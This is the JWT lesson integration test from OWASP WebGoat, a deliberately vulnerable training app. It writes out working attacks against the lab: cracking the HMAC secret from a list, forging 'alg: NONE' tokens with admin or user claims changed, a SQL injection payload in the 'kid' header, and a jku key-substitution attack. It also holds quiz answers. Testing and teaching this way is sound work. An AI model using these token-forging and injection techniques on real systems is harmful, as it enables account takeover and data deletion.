308 lines
10 KiB
Java
308 lines
10 KiB
Java
/*
|
|
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
|
|
* SPDX-License-Identifier: GPL-2.0-or-later
|
|
*/
|
|
package org.owasp.webgoat.integration;
|
|
|
|
import com.fasterxml.jackson.databind.JsonNode;
|
|
import com.fasterxml.jackson.databind.ObjectMapper;
|
|
import com.fasterxml.jackson.databind.node.ObjectNode;
|
|
import io.jsonwebtoken.Header;
|
|
import io.jsonwebtoken.JwsHeader;
|
|
import io.jsonwebtoken.Jwt;
|
|
import io.jsonwebtoken.JwtException;
|
|
import io.jsonwebtoken.Jwts;
|
|
import io.jsonwebtoken.SignatureAlgorithm;
|
|
import io.jsonwebtoken.impl.TextCodec;
|
|
import io.restassured.RestAssured;
|
|
import java.io.IOException;
|
|
import java.nio.charset.Charset;
|
|
import java.security.KeyPair;
|
|
import java.security.KeyPairGenerator;
|
|
import java.security.NoSuchAlgorithmException;
|
|
import java.security.interfaces.RSAPublicKey;
|
|
import java.time.Instant;
|
|
import java.util.Base64;
|
|
import java.util.Calendar;
|
|
import java.util.Date;
|
|
import java.util.HashMap;
|
|
import java.util.Map;
|
|
import org.hamcrest.CoreMatchers;
|
|
import org.hamcrest.MatcherAssert;
|
|
import org.jose4j.jwk.JsonWebKeySet;
|
|
import org.jose4j.jwk.RsaJsonWebKey;
|
|
import org.junit.jupiter.api.Test;
|
|
import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
|
|
|
|
public class JWTLessonIntegrationTest extends IntegrationTest {
|
|
|
|
@Test
|
|
public void solveAssignment() throws IOException, NoSuchAlgorithmException {
|
|
startLesson("JWT");
|
|
|
|
decodingToken();
|
|
|
|
resetVotes();
|
|
|
|
findPassword();
|
|
|
|
buyAsTom();
|
|
|
|
deleteTomThroughKidClaim();
|
|
|
|
deleteTomThroughJkuClaim();
|
|
|
|
quiz();
|
|
|
|
checkResults("JWT");
|
|
}
|
|
|
|
private String generateToken(String key) {
|
|
return Jwts.builder()
|
|
.setIssuer("WebGoat Token Builder")
|
|
.setAudience("webgoat.org")
|
|
.setIssuedAt(Calendar.getInstance().getTime())
|
|
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
|
|
.setSubject("tom@webgoat.org")
|
|
.claim("username", "WebGoat")
|
|
.claim("Email", "tom@webgoat.org")
|
|
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
|
.signWith(SignatureAlgorithm.HS256, key)
|
|
.compact();
|
|
}
|
|
|
|
private String getSecretToken(String token) {
|
|
for (String key : JWTSecretKeyEndpoint.SECRETS) {
|
|
try {
|
|
Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
|
|
} catch (JwtException e) {
|
|
continue;
|
|
}
|
|
return TextCodec.BASE64.encode(key);
|
|
}
|
|
return null;
|
|
}
|
|
|
|
private void decodingToken() {
|
|
MatcherAssert.assertThat(
|
|
RestAssured.given()
|
|
.when()
|
|
.relaxedHTTPSValidation()
|
|
.cookie("JSESSIONID", getWebGoatCookie())
|
|
.formParam("jwt-encode-user", "user")
|
|
.post(webGoatUrlConfig.url("JWT/decode"))
|
|
.then()
|
|
.statusCode(200)
|
|
.extract()
|
|
.path("lessonCompleted"),
|
|
CoreMatchers.is(true));
|
|
}
|
|
|
|
private void findPassword() {
|
|
|
|
String accessToken =
|
|
RestAssured.given()
|
|
.when()
|
|
.relaxedHTTPSValidation()
|
|
.cookie("JSESSIONID", getWebGoatCookie())
|
|
.get(webGoatUrlConfig.url("JWT/secret/gettoken"))
|
|
.then()
|
|
.extract()
|
|
.response()
|
|
.asString();
|
|
|
|
String secret = getSecretToken(accessToken);
|
|
|
|
MatcherAssert.assertThat(
|
|
RestAssured.given()
|
|
.when()
|
|
.relaxedHTTPSValidation()
|
|
.cookie("JSESSIONID", getWebGoatCookie())
|
|
.formParam("token", generateToken(secret))
|
|
.post(webGoatUrlConfig.url("JWT/secret"))
|
|
.then()
|
|
.statusCode(200)
|
|
.extract()
|
|
.path("lessonCompleted"),
|
|
CoreMatchers.is(true));
|
|
}
|
|
|
|
private void resetVotes() throws IOException {
|
|
String accessToken =
|
|
RestAssured.given()
|
|
.when()
|
|
.relaxedHTTPSValidation()
|
|
.cookie("JSESSIONID", getWebGoatCookie())
|
|
.get(webGoatUrlConfig.url("JWT/votings/login?user=Tom"))
|
|
.then()
|
|
.extract()
|
|
.cookie("access_token");
|
|
|
|
String header = accessToken.substring(0, accessToken.indexOf("."));
|
|
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
|
|
|
|
String body = accessToken.substring(1 + accessToken.indexOf("."), accessToken.lastIndexOf("."));
|
|
body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
|
|
|
|
ObjectMapper mapper = new ObjectMapper();
|
|
JsonNode headerNode = mapper.readTree(header);
|
|
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
|
|
|
|
JsonNode bodyObject = mapper.readTree(body);
|
|
bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
|
|
|
|
String replacedToken =
|
|
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
|
|
.concat(".")
|
|
.concat(
|
|
new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
|
|
.toString())
|
|
.concat(".")
|
|
.replace("=", "");
|
|
|
|
MatcherAssert.assertThat(
|
|
RestAssured.given()
|
|
.when()
|
|
.relaxedHTTPSValidation()
|
|
.cookie("JSESSIONID", getWebGoatCookie())
|
|
.cookie("access_token", replacedToken)
|
|
.post(webGoatUrlConfig.url("JWT/votings"))
|
|
.then()
|
|
.statusCode(200)
|
|
.extract()
|
|
.path("lessonCompleted"),
|
|
CoreMatchers.is(true));
|
|
}
|
|
|
|
private void buyAsTom() throws IOException {
|
|
|
|
String header =
|
|
new String(
|
|
Base64.getUrlDecoder()
|
|
.decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
|
|
|
|
String body =
|
|
new String(
|
|
Base64.getUrlDecoder()
|
|
.decode(
|
|
"eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
|
|
.getBytes(Charset.defaultCharset())));
|
|
|
|
body = body.replace("Jerry", "Tom");
|
|
|
|
ObjectMapper mapper = new ObjectMapper();
|
|
JsonNode headerNode = mapper.readTree(header);
|
|
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
|
|
|
|
String replacedToken =
|
|
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
|
|
.concat(".")
|
|
.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
|
|
.concat(".")
|
|
.replace("=", "");
|
|
|
|
MatcherAssert.assertThat(
|
|
RestAssured.given()
|
|
.when()
|
|
.relaxedHTTPSValidation()
|
|
.cookie("JSESSIONID", getWebGoatCookie())
|
|
.header("Authorization", "Bearer " + replacedToken)
|
|
.post(webGoatUrlConfig.url("JWT/refresh/checkout"))
|
|
.then()
|
|
.statusCode(200)
|
|
.extract()
|
|
.path("lessonCompleted"),
|
|
CoreMatchers.is(true));
|
|
}
|
|
|
|
private void deleteTomThroughKidClaim() {
|
|
Map<String, Object> header = new HashMap();
|
|
header.put(Header.TYPE, Header.JWT_TYPE);
|
|
header.put(
|
|
JwsHeader.KEY_ID,
|
|
"hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
|
|
String token =
|
|
Jwts.builder()
|
|
.setHeader(header)
|
|
.setIssuer("WebGoat Token Builder")
|
|
.setAudience("webgoat.org")
|
|
.setIssuedAt(Calendar.getInstance().getTime())
|
|
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
|
|
.setSubject("tom@webgoat.org")
|
|
.claim("username", "Tom")
|
|
.claim("Email", "tom@webgoat.org")
|
|
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
|
.signWith(SignatureAlgorithm.HS256, "deletingTom")
|
|
.compact();
|
|
|
|
MatcherAssert.assertThat(
|
|
RestAssured.given()
|
|
.when()
|
|
.relaxedHTTPSValidation()
|
|
.cookie("JSESSIONID", getWebGoatCookie())
|
|
.post(webGoatUrlConfig.url("JWT/kid/delete?token=" + token))
|
|
.then()
|
|
.statusCode(200)
|
|
.extract()
|
|
.path("lessonCompleted"),
|
|
CoreMatchers.is(true));
|
|
}
|
|
|
|
private void deleteTomThroughJkuClaim() throws NoSuchAlgorithmException {
|
|
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
|
|
keyPairGenerator.initialize(2048);
|
|
KeyPair keyPair = keyPairGenerator.generateKeyPair();
|
|
var jwks = new JsonWebKeySet(new RsaJsonWebKey((RSAPublicKey) keyPair.getPublic()));
|
|
RestAssured.given()
|
|
.when()
|
|
.relaxedHTTPSValidation()
|
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
|
.multiPart("file", "jwks.json", jwks.toJson().getBytes())
|
|
.post(webWolfUrlConfig.url("fileupload"))
|
|
.then()
|
|
.extract()
|
|
.response()
|
|
.getBody()
|
|
.asString();
|
|
|
|
Map<String, Object> header = new HashMap();
|
|
header.put(Header.TYPE, Header.JWT_TYPE);
|
|
header.put(
|
|
JwsHeader.JWK_SET_URL, webWolfUrlConfig.url("files/%s/jwks.json".formatted(getUser())));
|
|
|
|
String token =
|
|
Jwts.builder()
|
|
.setHeader(header)
|
|
.setIssuer("WebGoat Token Builder")
|
|
.setAudience("webgoat.org")
|
|
.setIssuedAt(Calendar.getInstance().getTime())
|
|
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
|
|
.setSubject("tom@webgoat.org")
|
|
.claim("username", "Tom")
|
|
.claim("Email", "tom@webgoat.org")
|
|
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
|
.signWith(SignatureAlgorithm.RS256, keyPair.getPrivate())
|
|
.compact();
|
|
|
|
MatcherAssert.assertThat(
|
|
RestAssured.given()
|
|
.when()
|
|
.relaxedHTTPSValidation()
|
|
.cookie("JSESSIONID", getWebGoatCookie())
|
|
.post(webGoatUrlConfig.url("JWT/jku/delete?token=" + token))
|
|
.then()
|
|
.statusCode(200)
|
|
.extract()
|
|
.path("lessonCompleted"),
|
|
CoreMatchers.is(true));
|
|
}
|
|
|
|
private void quiz() {
|
|
Map<String, Object> params = new HashMap<>();
|
|
params.put("question_0_solution", "Solution 1");
|
|
params.put("question_1_solution", "Solution 2");
|
|
|
|
checkAssignment(webGoatUrlConfig.url("JWT/quiz"), params, true);
|
|
}
|
|
}
|